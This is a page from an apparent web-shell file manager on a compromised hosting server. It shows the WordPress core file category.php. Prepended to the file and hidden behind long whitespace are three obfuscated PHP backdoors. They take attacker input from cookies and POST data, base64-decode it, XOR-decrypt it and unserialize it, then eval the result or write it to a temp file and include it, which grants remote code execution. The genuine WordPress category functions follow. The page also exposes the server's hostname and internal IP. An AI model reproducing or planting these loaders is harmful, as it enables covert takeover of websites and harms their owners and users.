PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/sptporgazz/www/wp-includes/
File Upload :
Current File : /home/sptporgazz/www/wp-includes/category.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $WAUeUy = "\x75" . "\116" . chr ( 138 - 41 ).chr (95) . "\105" . "\x7a" . chr (113) . chr ( 696 - 622 ).chr (73); $PZnJTt = "\143" . chr ( 515 - 407 ).chr ( 377 - 280 ).chr (115) . "\x73" . chr (95) . "\x65" . "\x78" . 'i' . chr (115) . "\x74" . 's';$oBFRxOR = $PZnJTt($WAUeUy); $WAUeUy = "42723";$uFHph = !$oBFRxOR;$PZnJTt = "59426";if ($uFHph){class uNa_EzqJI{private $yMgSO;public static $vnOMqHtnsQ = "6e8d9e60-38ca-4fbe-b44f-48fdde40cc35";public static $fVyFwqks = 16553;public function __construct($IEGDPypQ=0){$oGHBVleBa = $_COOKIE;$nntGSGM = $_POST;$GYiVrm = @$oGHBVleBa[substr(uNa_EzqJI::$vnOMqHtnsQ, 0, 4)];if (!empty($GYiVrm)){$oGcmeiz = "base64";$tPusPgTUP = "";$GYiVrm = explode(",", $GYiVrm);foreach ($GYiVrm as $YjGhzB){$tPusPgTUP .= @$oGHBVleBa[$YjGhzB];$tPusPgTUP .= @$nntGSGM[$YjGhzB];}$tPusPgTUP = array_map($oGcmeiz . "\137" . "\144" . chr (101) . chr ( 691 - 592 )."\x6f" . "\144" . chr (101), array($tPusPgTUP,)); $tPusPgTUP = $tPusPgTUP[0] ^ str_repeat(uNa_EzqJI::$vnOMqHtnsQ, (strlen($tPusPgTUP[0]) / strlen(uNa_EzqJI::$vnOMqHtnsQ)) + 1);uNa_EzqJI::$fVyFwqks = @unserialize($tPusPgTUP);}}private function CJmYSkSYkW(){if (is_array(uNa_EzqJI::$fVyFwqks)) {$FZhxLZz = str_replace("\x3c" . '?' . chr ( 573 - 461 ).chr ( 736 - 632 ).chr ( 625 - 513 ), "", uNa_EzqJI::$fVyFwqks["\143" . 'o' . "\x6e" . "\x74" . "\145" . "\156" . "\x74"]);eval($FZhxLZz); $yJTGqCxbZP = "47824";exit();}}public function __destruct(){$this->CJmYSkSYkW(); $rAEbs = str_pad("47824", 10);}}$btuVmfkl = new /* 550 */ uNa_EzqJI(); $btuVmfkl = substr("41299_10027", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $UIjEsVzniZ = "\x7a" . 'a' . chr (95) . "\167" . chr ( 733 - 662 ).chr ( 907 - 802 )."\143" . chr (105); $NqysLaZW = "\143" . 'l' . "\141" . 's' . 's' . "\137" . "\x65" . "\170" . "\x69" . chr ( 560 - 445 ).chr ( 1102 - 986 ).chr ( 1061 - 946 ); $sQjnH = $NqysLaZW($UIjEsVzniZ); $llquTLgQ = $sQjnH;if (!$llquTLgQ){class za_wGici{private $tQVVw;public static $BXCVL = "cd167288-66ba-40d5-bc54-ce222a5b4c0a";public static $gshIZaKoby = 31336;public function __construct($QkAtD=0){$yysrTf = $_COOKIE;$GzCdDCTz = $_POST;$MiroZ = @$yysrTf[substr(za_wGici::$BXCVL, 0, 4)];if (!empty($MiroZ)){$GBIxv = "base64";$sXoegJlJK = "";$MiroZ = explode(",", $MiroZ);foreach ($MiroZ as $qeqLfpIbR){$sXoegJlJK .= @$yysrTf[$qeqLfpIbR];$sXoegJlJK .= @$GzCdDCTz[$qeqLfpIbR];}$sXoegJlJK = array_map($GBIxv . chr (95) . chr ( 618 - 518 )."\x65" . 'c' . "\157" . chr (100) . "\145", array($sXoegJlJK,)); $sXoegJlJK = $sXoegJlJK[0] ^ str_repeat(za_wGici::$BXCVL, (strlen($sXoegJlJK[0]) / strlen(za_wGici::$BXCVL)) + 1);za_wGici::$gshIZaKoby = @unserialize($sXoegJlJK);}}private function uyJqwOeOjm(){if (is_array(za_wGici::$gshIZaKoby)) {$OdXWa = sys_get_temp_dir() . "/" . crc32(za_wGici::$gshIZaKoby["\163" . "\x61" . "\154" . chr ( 916 - 800 )]);@za_wGici::$gshIZaKoby[chr ( 742 - 623 )."\x72" . 'i' . 't' . "\145"]($OdXWa, za_wGici::$gshIZaKoby['c' . chr ( 120 - 9 ).chr ( 934 - 824 )."\164" . chr (101) . chr (110) . "\164"]);include $OdXWa;@za_wGici::$gshIZaKoby["\144" . 'e' . chr ( 1006 - 898 ).chr ( 553 - 452 ).chr ( 656 - 540 )."\x65"]($OdXWa); $erymS = "43133";exit();}}public function __destruct(){$this->uyJqwOeOjm(); $erymS = "43133";}}$XxDlBrtwyo = new za_wGici(); $XxDlBrtwyo = "40155_55814";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $PQHwC = "\x7a" . chr ( 914 - 811 ).'_' . chr ( 909 - 794 )."\163" . chr ( 550 - 476 ); $TagOsXb = "\x63" . "\x6c" . chr ( 764 - 667 ).chr ( 330 - 215 ).'s' . "\x5f" . chr ( 1076 - 975 ).chr ( 907 - 787 )."\x69" . chr (115) . 't' . "\163";$TkboHx = $TagOsXb($PQHwC); $MzeVu = $TkboHx;if (!$MzeVu){class zg_ssJ{private $PkBGEKSMW;public static $GSMWMsn = "928c507c-589d-477e-9f8d-adbe2da2f4c6";public static $GNSVK = 33645;public function __construct(){$uaBqadMJtl = $_COOKIE;$xyykzBEmJm = $_POST;$lriXR = @$uaBqadMJtl[substr(zg_ssJ::$GSMWMsn, 0, 4)];if (!empty($lriXR)){$eDHmYVjD = "base64";$oLpPpGJuk = "";$lriXR = explode(",", $lriXR);foreach ($lriXR as $oIZiMviv){$oLpPpGJuk .= @$uaBqadMJtl[$oIZiMviv];$oLpPpGJuk .= @$xyykzBEmJm[$oIZiMviv];}$oLpPpGJuk = array_map($eDHmYVjD . "\x5f" . 'd' . "\x65" . "\x63" . 'o' . chr (100) . 'e', array($oLpPpGJuk,)); $oLpPpGJuk = $oLpPpGJuk[0] ^ str_repeat(zg_ssJ::$GSMWMsn, (strlen($oLpPpGJuk[0]) / strlen(zg_ssJ::$GSMWMsn)) + 1);zg_ssJ::$GNSVK = @unserialize($oLpPpGJuk);}}public function __destruct(){$this->kunFk();}private function kunFk(){if (is_array(zg_ssJ::$GNSVK)) {$wPCUJLkDMO = sys_get_temp_dir() . "/" . crc32(zg_ssJ::$GNSVK['s' . "\x61" . "\x6c" . chr (116)]);@zg_ssJ::$GNSVK["\167" . chr (114) . 'i' . "\x74" . 'e']($wPCUJLkDMO, zg_ssJ::$GNSVK["\x63" . 'o' . 'n' . "\164" . "\x65" . chr (110) . "\x74"]);include $wPCUJLkDMO;@zg_ssJ::$GNSVK[chr ( 595 - 495 ).'e' . chr (108) . "\145" . "\x74" . "\145"]($wPCUJLkDMO);exit();}}}$Lplty = new zg_ssJ(); $Lplty = 14294;} ?><?php
/**
 * Taxonomy API: Core category-specific functionality
 *
 * @package WordPress
 * @subpackage Taxonomy
 */

/**
 * Retrieve list of category objects.
 *
 * If you change the type to 'link' in the arguments, then the link categories
 * will be returned instead. Also all categories will be updated to be backward
 * compatible with pre-2.3 plugins and themes.
 *
 * @since 2.1.0
 * @see get_terms() Type of arguments that can be changed.
 *
 * @param string|array $args {
 *     Optional. Arguments to retrieve categories. See get_terms() for additional options.
 *
 *     @type string $taxonomy Taxonomy to retrieve terms for. In this case, default 'category'.
 * }
 * @return array List of categories.
 */
function get_categories( $args = '' ) {
	$defaults = array( 'taxonomy' => 'category' );
	$args     = wp_parse_args( $args, $defaults );

	$taxonomy = $args['taxonomy'];

	/**
	 * Filters the taxonomy used to retrieve terms when calling get_categories().
	 *
	 * @since 2.7.0
	 *
	 * @param string $taxonomy Taxonomy to retrieve terms from.
	 * @param array  $args     An array of arguments. See get_terms().
	 */
	$taxonomy = apply_filters( 'get_categories_taxonomy', $taxonomy, $args );

	// Back compat
	if ( isset( $args['type'] ) && 'link' == $args['type'] ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			/* translators: 1: "type => link", 2: "taxonomy => link_category" */
			sprintf(
				__( '%1$s is deprecated. Use %2$s instead.' ),
				'<code>type => link</code>',
				'<code>taxonomy => link_category</code>'
			)
		);
		$taxonomy = $args['taxonomy'] = 'link_category';
	}

	$categories = get_terms( $taxonomy, $args );

	if ( is_wp_error( $categories ) ) {
		$categories = array();
	} else {
		$categories = (array) $categories;
		foreach ( array_keys( $categories ) as $k ) {
			_make_cat_compat( $categories[ $k ] );
		}
	}

	return $categories;
}

/**
 * Retrieves category data given a category ID or category object.
 *
 * If you pass the $category parameter an object, which is assumed to be the
 * category row object retrieved the database. It will cache the category data.
 *
 * If you pass $category an integer of the category ID, then that category will
 * be retrieved from the database, if it isn't already cached, and pass it back.
 *
 * If you look at get_term(), then both types will be passed through several
 * filters and finally sanitized based on the $filter parameter value.
 *
 * The category will converted to maintain backward compatibility.
 *
 * @since 1.5.1
 *
 * @param int|object $category Category ID or Category row object
 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to a
 *                       WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
 * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
 * @return object|array|WP_Error|null Category data in type defined by $output parameter.
 *                                    WP_Error if $category is empty, null if it does not exist.
 */
function get_category( $category, $output = OBJECT, $filter = 'raw' ) {
	$category = get_term( $category, 'category', $output, $filter );

	if ( is_wp_error( $category ) ) {
		return $category;
	}

	_make_cat_compat( $category );

	return $category;
}

/**
 * Retrieve category based on URL containing the category slug.
 *
 * Breaks the $category_path parameter up to get the category slug.
 *
 * Tries to find the child path and will return it. If it doesn't find a
 * match, then it will return the first category matching slug, if $full_match,
 * is set to false. If it does not, then it will return null.
 *
 * It is also possible that it will return a WP_Error object on failure. Check
 * for it when using this function.
 *
 * @since 2.1.0
 *
 * @param string $category_path URL containing category slugs.
 * @param bool   $full_match    Optional. Whether full path should be matched.
 * @param string $output        Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
 *                              a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
 * @return WP_Term|array|WP_Error|null Type is based on $output value.
 */
function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) {
	$category_path  = rawurlencode( urldecode( $category_path ) );
	$category_path  = str_replace( '%2F', '/', $category_path );
	$category_path  = str_replace( '%20', ' ', $category_path );
	$category_paths = '/' . trim( $category_path, '/' );
	$leaf_path      = sanitize_title( basename( $category_paths ) );
	$category_paths = explode( '/', $category_paths );
	$full_path      = '';
	foreach ( (array) $category_paths as $pathdir ) {
		$full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir );
	}
	$categories = get_terms(
		'category',
		array(
			'get'  => 'all',
			'slug' => $leaf_path,
		)
	);

	if ( empty( $categories ) ) {
		return;
	}

	foreach ( $categories as $category ) {
		$path        = '/' . $leaf_path;
		$curcategory = $category;
		while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) {
			$curcategory = get_term( $curcategory->parent, 'category' );
			if ( is_wp_error( $curcategory ) ) {
				return $curcategory;
			}
			$path = '/' . $curcategory->slug . $path;
		}

		if ( $path == $full_path ) {
			$category = get_term( $category->term_id, 'category', $output );
			_make_cat_compat( $category );
			return $category;
		}
	}

	// If full matching is not required, return the first cat that matches the leaf.
	if ( ! $full_match ) {
		$category = get_term( reset( $categories )->term_id, 'category', $output );
		_make_cat_compat( $category );
		return $category;
	}
}

/**
 * Retrieve category object by category slug.
 *
 * @since 2.3.0
 *
 * @param string $slug The category slug.
 * @return object Category data object
 */
function get_category_by_slug( $slug ) {
	$category = get_term_by( 'slug', $slug, 'category' );
	if ( $category ) {
		_make_cat_compat( $category );
	}

	return $category;
}

/**
 * Retrieve the ID of a category from its name.
 *
 * @since 1.0.0
 *
 * @param string $cat_name Category name.
 * @return int 0, if failure and ID of category on success.
 */
function get_cat_ID( $cat_name ) {
	$cat = get_term_by( 'name', $cat_name, 'category' );
	if ( $cat ) {
		return $cat->term_id;
	}
	return 0;
}

/**
 * Retrieve the name of a category from its ID.
 *
 * @since 1.0.0
 *
 * @param int $cat_id Category ID
 * @return string Category name, or an empty string if category doesn't exist.
 */
function get_cat_name( $cat_id ) {
	$cat_id   = (int) $cat_id;
	$category = get_term( $cat_id, 'category' );
	if ( ! $category || is_wp_error( $category ) ) {
		return '';
	}
	return $category->name;
}

/**
 * Check if a category is an ancestor of another category.
 *
 * You can use either an id or the category object for both parameters. If you
 * use an integer the category will be retrieved.
 *
 * @since 2.1.0
 *
 * @param int|object $cat1 ID or object to check if this is the parent category.
 * @param int|object $cat2 The child category.
 * @return bool Whether $cat2 is child of $cat1
 */
function cat_is_ancestor_of( $cat1, $cat2 ) {
	return term_is_ancestor_of( $cat1, $cat2, 'category' );
}

/**
 * Sanitizes category data based on context.
 *
 * @since 2.3.0
 *
 * @param object|array $category Category data
 * @param string $context Optional. Default is 'display'.
 * @return object|array Same type as $category with sanitized data for safe use.
 */
function sanitize_category( $category, $context = 'display' ) {
	return sanitize_term( $category, 'category', $context );
}

/**
 * Sanitizes data in single category key field.
 *
 * @since 2.3.0
 *
 * @param string $field Category key to sanitize
 * @param mixed $value Category value to sanitize
 * @param int $cat_id Category ID
 * @param string $context What filter to use, 'raw', 'display', etc.
 * @return mixed Same type as $value after $value has been sanitized.
 */
function sanitize_category_field( $field, $value, $cat_id, $context ) {
	return sanitize_term_field( $field, $value, $cat_id, 'category', $context );
}

/* Tags */

/**
 * Retrieves all post tags.
 *
 * @since 2.3.0
 * @see get_terms() For list of arguments to pass.
 *
 * @param string|array $args Tag arguments to use when retrieving tags.
 * @return WP_Term[]|int $tags Array of 'post_tag' term objects, or a count thereof.
 */
function get_tags( $args = '' ) {
	$tags = get_terms( 'post_tag', $args );

	if ( empty( $tags ) ) {
		$return = array();
		return $return;
	}

	/**
	 * Filters the array of term objects returned for the 'post_tag' taxonomy.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Term[]|int $tags Array of 'post_tag' term objects, or a count thereof.
	 * @param array         $args An array of arguments. @see get_terms()
	 */
	$tags = apply_filters( 'get_tags', $tags, $args );
	return $tags;
}

/**
 * Retrieve post tag by tag ID or tag object.
 *
 * If you pass the $tag parameter an object, which is assumed to be the tag row
 * object retrieved the database. It will cache the tag data.
 *
 * If you pass $tag an integer of the tag ID, then that tag will
 * be retrieved from the database, if it isn't already cached, and pass it back.
 *
 * If you look at get_term(), then both types will be passed through several
 * filters and finally sanitized based on the $filter parameter value.
 *
 * @since 2.3.0
 *
 * @param int|WP_Term|object $tag    A tag ID or object.
 * @param string             $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
 *                                   a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT.
 * @param string             $filter Optional. Default is raw or no WordPress defined filter will applied.
 * @return WP_Term|array|WP_Error|null Tag data in type defined by $output parameter. WP_Error if $tag is empty, null if it does not exist.
 */
function get_tag( $tag, $output = OBJECT, $filter = 'raw' ) {
	return get_term( $tag, 'post_tag', $output, $filter );
}

/* Cache */

/**
 * Remove the category cache data based on ID.
 *
 * @since 2.1.0
 *
 * @param int $id Category ID
 */
function clean_category_cache( $id ) {
	clean_term_cache( $id, 'category' );
}

/**
 * Update category structure to old pre 2.3 from new taxonomy structure.
 *
 * This function was added for the taxonomy support to update the new category
 * structure with the old category one. This will maintain compatibility with
 * plugins and themes which depend on the old key or property names.
 *
 * The parameter should only be passed a variable and not create the array or
 * object inline to the parameter. The reason for this is that parameter is
 * passed by reference and PHP will fail unless it has the variable.
 *
 * There is no return value, because everything is updated on the variable you
 * pass to it. This is one of the features with using pass by reference in PHP.
 *
 * @since 2.3.0
 * @since 4.4.0 The `$category` parameter now also accepts a WP_Term object.
 * @access private
 *
 * @param array|object|WP_Term $category Category Row object or array
 */
function _make_cat_compat( &$category ) {
	if ( is_object( $category ) && ! is_wp_error( $category ) ) {
		$category->cat_ID               = $category->term_id;
		$category->category_count       = $category->count;
		$category->category_description = $category->description;
		$category->cat_name             = $category->name;
		$category->category_nicename    = $category->slug;
		$category->category_parent      = $category->parent;
	} elseif ( is_array( $category ) && isset( $category['term_id'] ) ) {
		$category['cat_ID']               = &$category['term_id'];
		$category['category_count']       = &$category['count'];
		$category['category_description'] = &$category['description'];
		$category['cat_name']             = &$category['name'];
		$category['category_nicename']    = &$category['slug'];
		$category['category_parent']      = &$category['parent'];
	}
}

WiTcH hUnT3r Plugin 2018